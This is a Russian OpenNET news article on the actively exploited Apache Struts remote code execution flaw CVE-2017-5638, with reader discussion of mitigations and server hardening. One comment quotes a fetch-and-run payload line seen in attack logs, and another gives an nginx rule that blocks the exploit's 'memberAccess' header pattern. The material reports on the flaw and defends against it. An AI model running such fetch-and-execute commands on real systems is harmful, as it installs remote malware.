The OpenNET Project / Index page

[ новости /+++ | форум | wiki | теги | ]

Волна взломов сайтов через неисправленную уязвимость в Apache Struts

09.03.2017 11:04

Опубликовано экстренное обновление web-фреймворка Apache Struts (2.3.32 и 2.5.10.1), применяемого для создания web-приложений на языке Java с использованием парадигмы Model-View-Controller. В новых выпусках устранена критическая 0-day уязвимость (CVE-2017-5638), которая уже несколько дней используется злоумышленниками для получения контроля за сайтами, работающими под управлением Apache Struts.

Уязвимость позволяет выполнить произвольный код на сервере, отправив запрос со специально оформленным содержимым HTTP-заголовка "Content-Type". Проблема проявляется в выпусках Struts с 2.3.5 по 2.3.31 и с 2.5.0 по 2.5.10, и вызвана ошибкой в коде Multipart parser, применяемом для разбора запросов, состоящих из нескольких частей (multipart/form-data). В случае, если заголовок Content-Type содержит некорректное значение, срабатывает исключение для отображения сообщения об ошибке, которое, если в тексте присутствует маска "multipart/form-data", также приводит к вызову обработчика Multipart parser и выполнению произвольного кода, передаваемого через выражение OGNL.

Так как в открытом доступе опубликовано несколько вариантов рабочих эксплоитов и в сети уже зафиксирована автоматизированная вредоносная активность, эксплуатирующая данную уязвимость, всем пользователям Apache Struts рекомендуется в экстренном порядке выполнить обновление или блокировать работу компонента Jakarta Multipart parser, а также убедиться в отсутствии следов атаки на систему. Обновления пакетов с libstruts уже выпущено для Debian. В Ubuntu проблема остаётся неисправленной. В штатных репозиториях RHEL/Cent OS пакет Apache Struts не поставляется.

В случае если web-приложение выполняется в контейнере Apache Tomcat, запускаемом с правами root, в результате атаки сразу может быть получен root-доступ к системе. Например, фиксируемые в логах попытки атак выполняют отключение пакетного фильтра и устанавливают бэкдор для удалённого управления системой или типовое вредоносное ПО:



  1. Главная ссылка к новости (http://blog.talosintelligence....)
  2. OpenNews: Опасная уязвимость в Apache Tomcat
  3. OpenNews: Уязвимость в устаревших выпусках Apache Tomcat, которая может привести к выполнению кода на сервере
  4. OpenNews: Зафиксирован самораспространяющийся червь, поражающий серверы Apache Tomcat
  5. OpenNews: В Apache Struts 2.0.12 исправлены две серьезные уязвимости
Лицензия: CC-BY
Тип: Проблемы безопасности
Ключевые слова: apache, struts
При перепечатке указание ссылки на opennet.ru обязательно
Обсуждение (57) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, Аноним (-), 11:47, 09/03/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Стратс уже сто лет в полусдохшем состоянии и никому не нужен.
     
     
  • 2.3, Аанон (?), 11:49, 09/03/2017 [^] [^^] [^^^] [ответить]  
  • +19 +/
    Никому, кроме всех тех, кому он нужен.
     

  • 1.4, Аноним (-), 11:56, 09/03/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +8 +/
    С учётом того, что сайты на Java+Struts очень любят делать банки и госучреждения (умолчим про gosuslugi.ru) последствия этой дыры могут быть даже серьёзнее, чем кажется.
     
     
  • 2.37, лютый жабист__ (?), 05:43, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Если госуслуги на струтсе сделаны и можно было тихой сапой слить базу ПФР+ИНН+ФИО+ДР+все объекты налогообложения _в масштабах страны_, я категорически не понимаю кульхацкеров, которые слили возможность и запалили такую дыру на то, чтобы овнить какую-то никому ненужную шелупонь.

    Про банки молчу, там ещё легче монетизировать дырку.

     

  • 1.5, Аноним (-), 12:11, 09/03/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +7 +/
    Если у вас томкат за нжинксом, можете быстро сделать:

    if ($http_content_type ~ memberAccess) {
        return 403;
    }

     
     
  • 2.29, Alex (??), 22:15, 09/03/2017 [^] [^^] [^^^] [ответить]  
  • –7 +/
    что за блин нжинкс, энжин-экс (engine x)
     
     
  • 3.36, incker (?), 03:29, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    x - икс так оно читается на русском
    x - экс так оно читается на английском
    Так что пофигу
     

  • 1.6, Michael Shigorin (ok), 12:13, 09/03/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Интересно, успел ли кто эту беду сбэкпортировать в EOL'нутый 1.3.10, который по всем https://pkgs.org/download/struts ...
     
  • 1.12, iZEN (ok), 13:26, 09/03/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +4 +/
    Судя по командам, эксплуатируемым эксплоитами, все они предназначены для управления дистрибутивами линуксов, но не FreeBSD.
     
     
  • 2.14, Аноним (-), 13:38, 09/03/2017 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > Судя по командам, эксплуатируемым эксплоитами, все они предназначены для управления дистрибутивами
    > линуксов, но не FreeBSD.

    Что лишний раз подтверждает большую распространённость FreeBSD на серверах.


     
     
  • 3.22, Аноним (-), 15:43, 09/03/2017 [^] [^^] [^^^] [ответить]  
  • +13 +/
    > Что лишний раз подтверждает большую распространённость FreeBSD на серверах.

    Вот и гордые надуватели щёчек набежали.
    Может, все дело в том, что бздюки, в отличие от некоторых излишне пафосных лапчатых, слышали о нормальных дефолтах и у них есть такие замечательные штуки, как монтирование с nonexec?
    https://www.freebsd.org/cgi/man.cgi?mount(8)
    Так что
    [code]
    cd /tmp; wget .../syn13576;chmod 777 syn13576;./syn13576
    [/code]
    можно делать хоть до посинения.
    А еще, для апачей и прочих дыроколов есть такая вещь, как клетки. Это типа контейнера, только без той кучи дыр и оговорок, что "контейнеры вообще-то не для безопасности!".
    Так что обтек… завидуйте молча.

     
     
  • 4.24, Sw00p aka Jerom (?), 16:13, 09/03/2017 [^] [^^] [^^^] [ответить]  
  • +8 +/
    В клетках практически всё под ro, а для нужд ПО рабочую директорию под nonexec,nosymfollow и тд, не говоря уже об урезанном мире самой клетки.
     
  • 4.31, Аноним (-), 23:25, 09/03/2017 [^] [^^] [^^^] [ответить]  
  • –2 +/
    А в линуксе конечно же не монтирования с noexec. Пиши есчо, непафосный ты наш.
     
     
  • 5.53, Аноним (-), 15:08, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • +5 +/
    > А в линуксе конечно же не монтирования с noexec.

    Судя по эксплойту, нет. Или как с тем же grsecurity, все есть, но никто не пользуется.


     
  • 4.35, Аноним (-), 02:09, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • –2 +/
    VNET уже перестал ядро ронять, м? Или всё по старинке - на алиасах костыляете?
     
     
  • 5.56, Аноним (-), 15:27, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > VNET уже перестал ядро ронять, м?

    Если отвлечся от откровенного спрыгивания с темы, все равно остается вопрос:
    и как там, в криокамере?

    Кстати, вы бы поинтересовались, что такое VNET. А то "ядерная фича могла уронить ядро, фи!" звучит несколько фанатично. Микроядра только недавно обсуждались.


     
  • 4.40, Аноним (-), 08:30, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • –4 +/
    Представляешь в моём дистрибутиве не только с noexec монтируется всё левое, но ещё и с nodev, и ro. Здорово, правда?!
     
     
  • 5.52, Аноним (-), 15:02, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • +3 +/
    > Представляешь в моём дистрибутиве не только с noexec монтируется всё левое, но
    > ещё и с nodev, и ro. Здорово, правда?!

    nodev? Зачем он нужен? Хотя чего это я, до лапчтатых ведь иногда как до жирафов.
    ro для /tmp?
    Верю!


     
     
  • 6.55, Аноним (-), 15:22, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • –3 +/
    > nodev? Зачем он нужен?

    Прелестно, вот такие вот "специалисты" бздю и лепят.

     
     
  • 7.57, Аноним (-), 15:39, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • +3 +/
    >> nodev? Зачем он нужен?
    > Прелестно, вот такие вот "специалисты" бздю и лепят.

    Вот такие как вы "специалисты" не знают, но имеют ценное мнение оюо всем на свете.

    > Author: rodrigc <rodrigc@FreeBSD.org>
    > Date:   Tue Nov 29 19:13:28 2005 +0000
    > Document removal of nodev mount option.
    > Requested by:   gleb

    Но вы держитесь. За Ядро, Линуса и Родной Дистрибутив и все такое (иначе не объяснить, почему некоторые при отсутсвии представления о чем-то, упорно лезут это что-то критиковать).

     
     
  • 8.61, Аноним (-), 18:03, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Ну то есть зачем нужен nodev вы по прежнему не знаете ... текст свёрнут, показать
     
     
  • 9.62, Аноним (-), 19:01, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Опять по себе судите Разрешаю посмотреть в ман https linux die net man 8 mo... текст свёрнут, показать
     
  • 4.48, Michael Shigorin (ok), 12:18, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > монтирование с nonexec?

    Только не говорите мне, что такие очепятки врастают в пальцы тех, кто на самом деле применяет -o noexec.

     
     
  • 5.54, Аноним (-), 15:21, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • +2 +/
    >> монтирование с nonexec?
    > Только не говорите мне, что такие очепятки врастают в пальцы тех, кто
    > на самом деле применяет -o noexec.

    Хорошо, не скажу. Еще не скажу ничего о fstab.
    Потому как, если уж кому-то хочется докопаться, то причина всегда найдется.
    На опеннете, как всегда, достаточно классического «почему без шапки» -- «почему не пингвин?!»

    24й комментарий:
    > Сообщение от Sw00p aka Jerom on 09-Мрт-17, 16:13
    > а для нужд ПО рабочую директорию под nonexec,nosymfollow

     
     
  • 6.58, Michael Shigorin (ok), 17:17, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • +1 +/
    >>> монтирование с nonexec?
    >> Только не говорите мне, что такие очепятки врастают в пальцы тех, кто
    >> на самом деле применяет -o noexec.
    > Хорошо, не скажу. Еще не скажу ничего о fstab.

    Туда пишут или скрипты, или те, кто буковки умеет нажимать правильно.

    > Потому как, если уж кому-то хочется докопаться, то причина всегда найдется.

    Дружески предлагаю Вам начать с себя -- возможно, поймёте, что насмешку получили в ответ на попытку выпендриться. :)

     
  • 4.67, пох (?), 16:06, 17/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    > Может, все дело в том, что бздюки, в отличие от некоторых излишне пафосных лапчатых,
    > слышали о нормальных дефолтах

    о нормальных они сроду не слышали - начиная от попыток автоматического сетапа в XXI веке создавать /tmp на физическом диске (или в виде zfs volume), и заканчивая ненужными  для tmp softupdates, если все же заставить его создавать md, но специальным ключом вручную не озаботиться (и да, там у нас ufs, потому что попытки сделать "чистую" memory-backed fs разбились о неосиляторство - оно даже есть, но ухитряется работать хуже ufs over md)

    > и у них есть такие замечательные штуки, как монтирование с nonexec?

    /tmp с noexec ? Поздравляю, ты сломал плагины mc, и, вероятно, не только их.

    линукс, кстати (кроме того самого mc) noexec в /tmp пережил бы, но у него есть (отдельный) /var/tmp, где вполне себе создаются и исполняются в процессе нормальной работы файлы.
    Начиная от пост и пре-инсталл скриптов в rpm. А, в недоделке по имени pkg до сих пор ничего подобного ниасилено? (угадайте, куда в результате пихают то, что нужно делать один раз при установке пакета?)

     
  • 4.71, Аноним (-), 20:52, 13/09/2017 [^] [^^] [^^^] [ответить]  
  • +/
    > пафосных лапчатых, слышали о нормальных дефолтах и у них есть такие
    > замечательные штуки, как монтирование с nonexec?

    Они и у лапчатых есть, о непафосный. А ты уверен что яве вообще есть какое-то дело до всего этого? Может ей достаточно лишь прав на чтение файла, она же код сама генерит а система вообще не в курсе что этот читаемый файл будет еще и исполняться потом.

     
  • 2.16, Аноним (-), 14:17, 09/03/2017 [^] [^^] [^^^] [ответить]  
  • +6 +/
    Но ведь на жаве, это главное, разве нет?
     
  • 2.64, Некулхацкер (?), 18:16, 14/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Они для случаев, когда среду разворачивали как попало. Не скажу, что это редкое явление.
     
  • 2.66, Некулхацкер (?), 18:46, 16/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Оригинальный взгляд на проблему. Очень. Что помешает запустить под фрёй контейнер от рута? Есть какой специальный "дух здравого смысла"? Демон здравого смысла, если винрарно.
     

  • 1.17, Аноним (-), 15:03, 09/03/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Сбер напрягся.
     
     
  • 2.23, Анон2 (?), 16:09, 09/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Сбер в пятницу чуть у матери 27к кому-то не перевел. Но в сбере всем как бы ложить.
     
  • 2.25, Аноним (-), 17:47, 09/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    У Сбера блокчейн, не трогайте его.
     
     
  • 3.26, Гостище (?), 18:22, 09/03/2017 [^] [^^] [^^^] [ответить]  
  • –1 +/
    У кого-то в сбере блокчейн. В академических целях, не коммерческих.
    У остальных в сбере низзя - а то посодють.
     

  • 1.30, Аноним (-), 22:30, 09/03/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Java же безопасный язык, это не C! Как такое возможно?
     
     
  • 2.39, Геймер (?), 08:06, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Дыра во фреймворке, виновата Java. Логичный Вы наш!
     
     
  • 3.42, Аноним (-), 10:41, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    А что, Oracle уже совсем Java от блобов избавил?
     
     
  • 4.43, Геймер (?), 11:00, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • –1 +/
    А что, новость уже не читаем?
     
  • 4.49, J.L. (?), 12:46, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    > А что, Oracle уже совсем Java от блобов избавил?

    у вас сильно не актуальные сведения http://stackoverflow.com/questions/25936712/what-is-the-difference-between-or

     
  • 4.50, Michael Shigorin (ok), 13:01, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    > А что, Oracle уже совсем Java от блобов избавил?

    Скорее от разработчиков...

     
  • 3.44, Аноним (-), 11:12, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Дыра во фреймворке, виновата Java. Логичный Вы наш!

    Java - виртуальная машина. Следовательно дырка в Java, если можно исполнить код вне виртуальной машины.

     
     
  • 4.45, Аанон (?), 11:38, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • +2 +/
    ШОК!!! Обнаружена критическая уязвимость в java.lang.Runtime. Существующий в нем метод exec позволяет выполнить любой код вне виртуальной машины.

    https://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html#exec-java.lan

     
     
  • 5.46, Аноним (-), 11:47, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > ШОК!!! Обнаружена критическая уязвимость в java.lang.Runtime. Существующий в нем метод
    > exec позволяет выполнить любой код вне виртуальной машины.
    > https://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html#exec-java.lan

    Оно в отдельном потоке в java машине всё-равно выполняется.

     
     
  • 6.47, Аанон (?), 12:08, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Тогда и оригинальная уязвимость - это вовсе не уязвимость, т. к. "в отдельном потоке в java машине всё-равно выполняется".
     
  • 4.59, iZEN (ok), 23:03, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • –1 +/
    >> Дыра во фреймворке, виновата Java. Логичный Вы наш!
    > Java - виртуальная машина. Следовательно дырка в Java, если можно исполнить код
    > вне виртуальной машины.

    Это всё С++. На нём написали JVM.


     

  • 1.32, Аноним (-), 23:25, 09/03/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    > chmod 777 2020

    ...
    > chmod 777 syn13576

    Никогда не мог понять сакральный смысл трех семёрок.

    Вот почему не 'chmod 111', 'chmod 555' или 'chmod 7777'?

     
     
  • 2.33, tonys (??), 23:31, 09/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Потому что 7 это 1+2+4
     
  • 2.34, Аноним (-), 00:41, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Ну ты чего уж. Три семерки. А везде, по всему Союзу три семерки, понимаешь?
     
  • 2.38, Аноним (-), 05:51, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Сакральный смысл – в портвейне "Три семёрки", он же "Три топора".

    Видимо, в том, что три "7" набрать удобнее, чем, например, "755" или "700", а "555" не используют потому, что файл нередко приходится редактировать и запускать несколько раз. Вторая причина – если это сервер, который взламывают, то там нет смысла давать меньше прав для "group" и "other".

     
  • 2.41, Аноним (-), 08:36, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    > Никогда не мог понять сакральный смысл трех семёрок.

    Во имя Сатаны же, ну.

     
  • 2.51, виндотролль (ok), 14:02, 10/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    иди потаскай окошки по экрану
     
  • 2.68, пох (?), 16:12, 17/03/2017 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Никогда не мог понять сакральный смысл трех семёрок.

    так проще, и оно работает - в отличие от твоих поделок
    > Вот почему не 'chmod 111', 'chmod 555' или 'chmod 7777'?

    первое ломает скритовые языки, второе мешает самому же туда записать не от рута, третье в случае скрипта вызовет весьма вероятные сообщения интерпретатора о попытке сделать суидный скрипт вместо исполнения, при том что оба осташихся бита нафиг не нужны

     

  • 1.60, Аноним (-), 00:28, 11/03/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    >В случае если web-приложение выполняется в контейнере Apache Tomcat, запускаемом с правами root, в результате атаки сразу может быть получен root-доступ к системе.

    Веб-приложения с правами рута? Совсем поехавшие?

     
     
  • 2.65, Некулхацкер (?), 18:19, 14/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    >>В случае если web-приложение выполняется в контейнере Apache Tomcat, запускаемом с правами root, в результате атаки сразу может быть получен root-доступ к системе.
    > Веб-приложения с правами рута? Совсем поехавшие?

    Ну ведь под рутом проще ))))

     

  • 1.63, Некулхацкер (?), 18:11, 14/03/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/
    Не очень понимаю, что может дать возможность выполнить некий код с правами запустившего контейнер. Чаще всего контейнер запускают от пользователя, для которого и командного интерпретатора нет. Если же контейнер запускают из под root-а -- ну такое ничем не лечится.
     
     
  • 2.69, пох (?), 16:17, 17/03/2017 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Не очень понимаю, что может дать возможность выполнить некий код с правами
    > запустившего контейнер. Чаще всего контейнер запускают от пользователя,

    которого зовут root.

    > командного интерпретатора нет. Если же контейнер запускают из под root-а --
    > ну такое ничем не лечится.

    почитайте внимательно, через какую задницу предлагается запускать томкэт его разработчиками, чтобы было "не от рута". Ссылка на документацию - прямо в новости.

    Не говоря уже о том, что на сервере, где работает томкэт, все ваши сенситивные данные, внезапно, доступны именно томэкту. А сам сервер по большому счету нахрен никому и не нужен.

     
     
  • 3.70, Кэп (?), 16:02, 19/03/2017 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Э, как-бы, Томкэт запустить не от рута нет никакой проблемы. Вообще. Тем более Гласфиш или ЖБосс. После этого любые подобные уловки, насколько я понимаю, не дадут ничего вообще.
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Спонсоры:
    Слёрм
    Inferno Solutions
    Hosting by Ihor
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2019 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру